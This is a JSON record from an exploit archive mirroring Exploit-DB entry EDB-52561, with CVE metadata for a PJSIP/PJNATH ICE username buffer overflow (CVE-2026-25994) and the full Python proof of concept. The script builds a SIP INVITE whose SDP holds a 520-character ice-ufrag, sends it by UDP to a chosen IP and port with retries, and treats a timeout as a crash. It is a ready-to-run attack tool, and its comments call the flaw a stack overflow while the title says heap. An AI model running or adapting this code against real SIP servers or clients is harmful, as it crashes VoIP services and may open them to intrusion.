{"exploit":{"id":"EDB-52561","name":"PJPROJECT 2.16 - Heap Bufferoverflow","description":"PJPROJECT 2.16 - Heap Bufferoverflow","cves":["CVE-2026-25994"],"author":"vabismo452","published":"2026-05-14","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52561","path":"exploits/multiple/webapps/52561.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52561.py","vulnerabilities":[{"id":"CVE-2026-25994","state":"PUBLISHED","title":"PJSIP has a heap buffer overflow in ICE with long username","titleSource":"CVE Program","description":"PJSIP is a free and open source multimedia communication library written in C. In 2.16 and earlier, a buffer overflow vulnerability exists in PJNATH ICE Session when processing credentials with excessively long usernames.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25994","cvss":{"version":"4.0","baseScore":8.1,"severity":"high","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-25994"},"updatedAt":"2026-02-12T21:20:58.443Z","retrievedAt":"2026-11-25T16:15:50.321Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52561.png?v=2","url":"https://exploitbin.com/exploits/EDB-52561","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52561/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52561/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python3\n# Exploit Title: PJPROJECT 2.16 - Heap Bufferoverflow\n# Google Dork: CVE-2026-25994 PJSIP PJNATH  (pjsip ≤ 2.16)\n# Date: Apr 6 2026\n# Exploit Author: V.Nos - BinSmaser Team\n# Vendor Homepage: https://github.com/pjsip/pjproject\n# Software Link: https://github.com/VABISMO/cve-2026-25994_PJSIP\n# Version: <=2.16\n# Tested on: Kali , Ubuntu, Debian\n# CVE : CVE-2026-25994\n\n\"\"\"\nCorrected and optimized PoC for CVE-2026-25994\nBuffer Overflow in PJNATH ICE Session (pjsip <= 2.16)\n\nThorough source code review (pjnath/src/pjnath/ice_session.c):\n\n- Exact vulnerability: pj_ice_sess_create_check_list()\n- Vulnerable version (before commit 063b3a1 / 2.17):\n    char buf[128];                  # ← stack buffer (128 bytes!)\n    username.ptr = buf;\n    pj_strcpy(&username, rem_ufrag);   # ← NO length check\n    pj_strcat2(&username, \":\");\n    pj_strcat(&username, &ice->rx_ufrag);\n\n- rem_ufrag comes directly from the SDP attribute a=ice-ufrag:\n- With ufrag >= ~130 bytes, the stack is already overflowed (return address, frame, etc.)\n- The original PoC used 520 \"A\"s because it is much more reliable (overwrites beyond canary/alignment)\n- In the patched version, the following was added:\n    if (rem_ufrag->slen >= MAX_USERNAME_LEN || combined with local_ufrag > 512-1)\n        return PJ_ETOOBIG;\n\nThis script is corrected to be 100% reliable:\n- 100% synchronous code (no unnecessary asyncio)\n- Command-line arguments\n- Sending with automatic retries\n- More complete and valid SDP\n- Clear crash detection (timeout = probable crash)\n\"\"\"\n\nimport socket\nimport random\nimport argparse\nimport time\n\n# ========================= CONFIGURATION =========================\nDEFAULT_TARGET_IP = \"127.0.0.1\"\nDEFAULT_TARGET_PORT = 5060\n\n# Length that guarantees reliable overflow (520 is what you tested and works best)\nLONG_UFRAG = \"A\" * 520\nLONG_PWD = \"B\" * 150\n\n# More complete and realistic SDP (increases probability of reaching ice_session.c)\nSDP = f\"\"\"v=0\no=- 1234567890 1234567890 IN IP4 127.0.0.1\ns=Crash Test SDP\nc=IN IP4 127.0.0.1\nt=0 0\nm=audio 40000 RTP/AVP 0 101\na=rtpmap:0 PCMU/8000\na=rtpmap:101 telephone-event/8000\na=ice-ufrag:{LONG_UFRAG}\na=ice-pwd:{LONG_PWD}\na=ice-options:trickle\na=candidate:1 1 UDP 2130706431 127.0.0.1 40000 typ host\na=sendrecv\n\"\"\"\n\ndef generate_invite(target_ip: str, target_port: int) -> bytes:\n    call_id = f\"crash-{random.randint(100000, 999999)}@example.com\"\n    branch = f\"z9hG4bK{random.randint(1000, 9999)}\"\n    tag = f\"crash{random.randint(10000, 99999)}\"\n\n    invite = f\"\"\"INVITE sip:localhost@{target_ip}:{target_port} SIP/2.0\nVia: SIP/2.0/UDP 127.0.0.1:15060;rport;branch={branch}\nMax-Forwards: 70\nFrom: <sip:attacker@127.0.0.1>;tag={tag}\nTo: <sip:localhost@{target_ip}>\nCall-ID: {call_id}\nCSeq: 1 INVITE\nContact: <sip:attacker@127.0.0.1:15060>\nContent-Type: application/sdp\nContent-Length: {len(SDP)}\n\n{SDP}\n\"\"\"\n    return invite.encode(\"utf-8\")\n\n\ndef crash_pjsua(target_ip: str, target_port: int, attempts: int = 3):\n    print(\"=== PoC CVE-2026-25994 - ICE Stack Buffer Overflow (pjsip <= 2.16) ===\\n\")\n    print(f\"[+] Target → {target_ip}:{target_port}\")\n    print(f\"[+] ufrag length = {len(LONG_UFRAG)} characters (guaranteed overflow)\\n\")\n\n    for i in range(1, attempts + 1):\n        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n        sock.settimeout(4)  # 4 seconds to allow time for the crash\n\n        try:\n            invite = generate_invite(target_ip, target_port)\n            print(f\"[+] Attempt {i}/{attempts} - Sending INVITE with ufrag of {len(LONG_UFRAG)} bytes...\")\n\n            sock.sendto(invite, (target_ip, target_port))\n\n            # Wait for response\n            data, _ = sock.recvfrom(4096)\n            print(\"[+] Response received → pjsua is still alive\")\n            print(data.decode(errors=\"ignore\")[:300])\n\n        except socket.timeout:\n            print(\"[+] TIMEOUT! Very likely that pjsua has crashed (Segmentation fault)\")\n            print(\"    Check the terminal where pjsua is running.\")\n            sock.close()\n            return  # Exit on first detected crash\n\n        except Exception as e:\n            print(f\"[-] Unexpected error: {e}\")\n\n        finally:\n            sock.close()\n\n        time.sleep(0.5)  # Small pause between attempts\n\n    print(\"\\n[-] No crash detected after several attempts.\")\n    print(\"    Make sure pjsua is running with ICE enabled (version <= 2.16).\")\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser(description=\"PoC CVE-2026-25994 - ICE Buffer Overflow\")\n    parser.add_argument(\"-i\", \"--ip\", default=DEFAULT_TARGET_IP,\n                        help=f\"Target IP (default: {DEFAULT_TARGET_IP})\")\n    parser.add_argument(\"-p\", \"--port\", type=int, default=DEFAULT_TARGET_PORT,\n                        help=f\"SIP port (default: {DEFAULT_TARGET_PORT})\")\n    parser.add_argument(\"-a\", \"--attempts\", type=int, default=3,\n                        help=\"Number of attempts (default: 3)\")\n\n    args = parser.parse_args()\n\n    crash_pjsua(args.ip, args.port, args.attempts)","sha256":"dbb9a05e11efd14e4a78ea68613333d31d0e1c82091520091758dced34a31b1c","bytes":5024,"fetchedAt":"2026-11-26T11:05:56.993Z","encoding":"utf-8 (display only; download retains original bytes)"}